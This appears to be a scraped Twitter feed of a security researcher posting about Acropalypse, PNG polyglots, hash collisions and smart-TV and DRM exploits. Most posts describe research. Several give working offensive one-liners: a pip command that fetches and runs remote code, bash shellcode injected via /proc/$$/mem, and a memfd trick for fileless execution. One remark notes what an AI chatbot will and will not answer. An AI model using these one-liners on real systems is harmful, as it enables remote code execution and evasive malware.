Reverse Engineering, cryptography, exploits, hardware, file formats, and generally giving computers a hard time. Occasional CTF player. Fedi:
@retr0id
@retr0
.id
The image in this tweet displays its own MD5 hash.
You can download and hash it yourself, and it should still match - 1337e2ef42b9bee8de06a4d223a51337
I think this is the first PNG/MD5 hashquine.
holy FUCK.
Windows Snipping Tool is vulnerable to Acropalypse too.
An entirely unrelated codebase.
The same exploit script works with minor changes (the pixel format is RGBA not RGB)
Tested myself on Windows 11
@ItsSimonTime
@David3141593
I've got a fun one for you all to look at.
I opened a 198 byte PNG with Microsoft's Snipping Tool, chose "Save As" to overwrite a different PNG file (no editing), and saves a 4,762 byte file with all that extra after the PNG IEND chunk.
Sounds similar :D
Assuming this all works out, the image in this tweet is also a valid ZIP archive, containing a multipart RAR archive, containing the complete works of Shakespeare.
This technique also survives twitter's thumbnailer :P
I found a way to stuff up to ~3MB of data inside a PNG file on twitter. This is even better than my previous JPEG ICC technique, since the inserted data is contiguous.
The source code is available in the ZIP/PNG file attached:
How it works:
It's a PNG image with a clever palette. There's a checkerboard pattern, at 2x Twitter's default res. The "white" pixels are slightly tinted. When downscaled, the pixels average to grey-ish. There's no grey in the palette, so it picks the next closest match.
Well, this is slightly terrifying.
Opening a malicious link on *any* device on your LAN can fully compromise an LG Smart TV.
This is thanks to some new tricks found by
@informaticTwitt
, which allows the RootMyTV exploit chain to be triggered via any web browser on the same LAN.
Twitter's bug bounty program has a new category: "Recommendation Algorithm Manipulation"
Since a working proof-of-concept is required, this tweet is mine.
Please help me demonstrate the "ask nicely" exploit, by engaging with this tweet.
Soooo, after a few evenings of work, I've 100% broken Widevine L3 DRM. Their Whitebox AES-128 implementation is vulnerable to the well-studied DFA attack, which can be used to recover the original key. Then you can decrypt the MPEG-CENC streams with plain old ffmpeg...
In celebration of reaching 2^14 followers, I made a 128x128 collage of everyone's profile pictures.
Unfortunately the full-quality version was too big to upload to twitter, so I had to use lossy compression. Can you find yourself?
TIL python's pip will execute a setup .py directly from a ZIP archive from a web URL, with mime sniffing.
This allows for a nice lolbin oneliner, with payload hosted on Twitter's CDN (or anywhere else really)
pip install "
https://pbs"."twimg"."com/media/Ff0iwcvXEAAQDZ3.png"
I've always wanted to put a USB-C port in an iPhone, but didn't want to risk breaking a good phone. So here's the cheapest iPhone SE I could find on ebay - and cheapest type-C to lightning adapter
This bug is a bad one.
You can patch it, but you can't easily un-share all the vulnerable images you may have sent.
The bug existed for about 5 years before being patched, which is mind-blowing given how easy it is to spot when you look closely at an output file.
Introducing acropalypse: a serious privacy vulnerability in the Google Pixel's inbuilt screenshot editing tool, Markup, enabling partial recovery of the original, unedited image data of a cropped and/or redacted screenshot. Huge thanks to
@David3141593
for his help throughout!
This is one of my entries to the BGGP 2021 Polyglot File challenge.
It uses a novel technique of directly embedding data within the compressed image data stream of a PNG. This means you can literally see the bytes of the embedded files!
The BGGP 2021 Polyglot File Challenge repo is here! Each entry has been scored and visually dissected. Included are the files and info on how to run them yourself!
Something that surprised me while doing this, was that twitter has none of the most obvious anti-bot mitigations.
I aggressively scraped the graphql API, right at the rate limit, impersonating the web client but with a default Python useragent - and the API didn't seem to mind?
In celebration of reaching 2^14 followers, I made a 128x128 collage of everyone's profile pictures.
Unfortunately the full-quality version was too big to upload to twitter, so I had to use lossy compression. Can you find yourself?
I just got DSMCC Carousels working.
That means the exploit still fires even if the TV is not connected to the internet. The entire exploit is served over the airwaves.
Everyone who said "just don't connect it to the internet" can shut up now :P
When you visually compare two hashes, how many digits do you check?
The strings hashed below are "retr0id_18b1f814a8e2d9c4fb9c" and "retr0id_1253dea672ebfa240e94", if you want to check for yourself.
A while back I prototyped a "Twitch plays binary exploitation" setup. Would anyone be interested in seeing this become a real thing?
The general idea is that whatever people type in chat would get sent to stdin (one user at a time, with some kind of queue).
Introducing acropalypse: a serious privacy vulnerability in the Google Pixel's inbuilt screenshot editing tool, Markup, enabling partial recovery of the original, unedited image data of a cropped and/or redacted screenshot. Huge thanks to
@David3141593
for his help throughout!
What's the closest we've ever been to a sha256 collision?
It depends on how you count, but if we're going by number of correct trailing bits, I believe the answer is an astonishing 112 bits (out of 256 total)
I currently control ~99% of
@DuinoCoin
mining hashrate, with a single-threaded python script.
How?
They decided to use a non-cryptographic (invertible) hash function for their mining algorithm...
I wonder how long their $13k USD market cap will last?
I came up with a new(?) compression-based steganography technique, which should work with most compressed file formats or protocols (e.g. PNG, or even HTTP).
It hides data as "mistakes" made by the compression algorithm. Each sub-optimal compression decison encodes ~1 bit.
🧵 How to mitigate Acropalypse, server-side:
If you run a CDN or similar, you there's a fairly cheap technique you could use to transparently mitigate Acropalypse without having to re-process any of your stored data. (and save some bandwidth too!)
Download this one, rename to .mp3, and open in VLC for a surprise. (Note: make sure you download the full resolution version of the file, should be 2048x2048px)
This technique was inspired by seeing twitter's downscaler rendering piss where it shouldn't. I built a mental model of how that was likely to occur, and then weaponized it.
A few people suggested that maybe Acropalypse was a deliberately planted vulnerability.
Personally I still don't think that's the case, but I can't call those people crazy any more 😅
An (extremely) incomplete list of things that use Lempel-Ziv compression, directly or indirectly:
DEFLATE
zlib
ZIP
PNG
gzip
HTTP
Nintendo Switch
Linux Kernel
ZFS
NASA's Ingenuity helicopter that landed on Mars
zstd
JPEG-XL
MySQL
Tor
This was particularly tricky to make work because the image data in a PNG needs to have a valid adler32 checksum, *and* a valid crc32 checksum.
Each hex digit "pixel" needed its own colliding block, generated with UniColl. There are 448 of them, taking over 24h to compute.
A fun trick for running shellcode directly from bash:
dd of=/proc/$$/mem bs=1 seek=$(($(cut -d" " -f9</proc/$$/syscall))) if=<(base64 -d<<<utz+IUO+aRkSKL+t3uH+McCwqQ8F) conv=notrunc
Caveat: requires root, or YAMA disabled.
The shellcode above should shut down your machine :P
This is what the UK emergency alert system test notification looked like in Wales, even if your device language was set to English, lol
It's followed by an English translation, but it doesn't fit on the screen if you have a larger font. If I didn't know better, I'd be alarmed 😅
How it works:
It's a PNG image with a clever palette. There's a checkerboard pattern, at 2x Twitter's default res. The "white" pixels are slightly tinted. When downscaled, the pixels average to grey-ish. There's no grey in the palette, so it picks the next closest match.
holy FUCK.
Windows Snipping Tool is vulnerable to Acropalypse too.
An entirely unrelated codebase.
The same exploit script works with minor changes (the pixel format is RGBA not RGB)
Tested myself on Windows 11
I really wish I'd learnt to use Jupyter notebooks sooner, it's so OP for learning about anything with a visual aspect.
I've understood intuitively how JPEG DCT has worked for ages, but I'd never been able to connect that intuition with a concrete implementation until now.
It seems like hotwiring a car is one of the easier things to ask for, it still refuses to e.g. tell me how to cook meth (possibly because that's a less plausible thing to want to do after an apocalypse, lol)
python memfd_create() oneliner:
python3 -c "import os;os.fork()or(os.setsid(),print(f\"/proc/{os.getpid()}/fd/{os.memfd_create(str())}\"),os.kill(os.getpid(),19))"
This prints the path of a memfd, which you can use to do whatever you want (like fileless ELF execution!)
Launching the fusée payload on a
#NintendoSwitch
from a rooted Android device, video courtesy of bedbug1226. (It doesn't work on my device, I have a funky kernel...) Hopefully I'll get a release out soon™. Thanks to
@ktemkin
and
@fail0verflow
for the exploits this was based on.
The effect happens because Twitter re-quantizes the image after downscaling, reusing the original palette. Normal image viewers (e.g. your web browser) leave it in "full" 8-bit-per-channel sRGB.
I found a way to stuff up to ~3MB of data inside a PNG file on twitter. This is even better than my previous JPEG ICC technique, since the inserted data is contiguous.
The source code is available in the ZIP/PNG file attached:
GateFi is the world's first completely un-hackable gateway security solution. It uses cutting-edge
#LockChain
technology in order to secure your assets. We're so confident in our security, we're offering a $250k bounty to anyone who can break it!
ublock rule to hide all verified icons:
#
#svg
[data-testid="icon-verified"]
ublock rule to hide all doges:
#
#path
[d="M2.412.974h19.176v22.052H2.412z"]
Here's a behind-the-scenes look at what the collision data looks like. You can't see the garbage pixels in the final image because I used a clever palette.
Right column is the main set of UniColl collisions, and the lower edge is the adler32 FastColl blocks.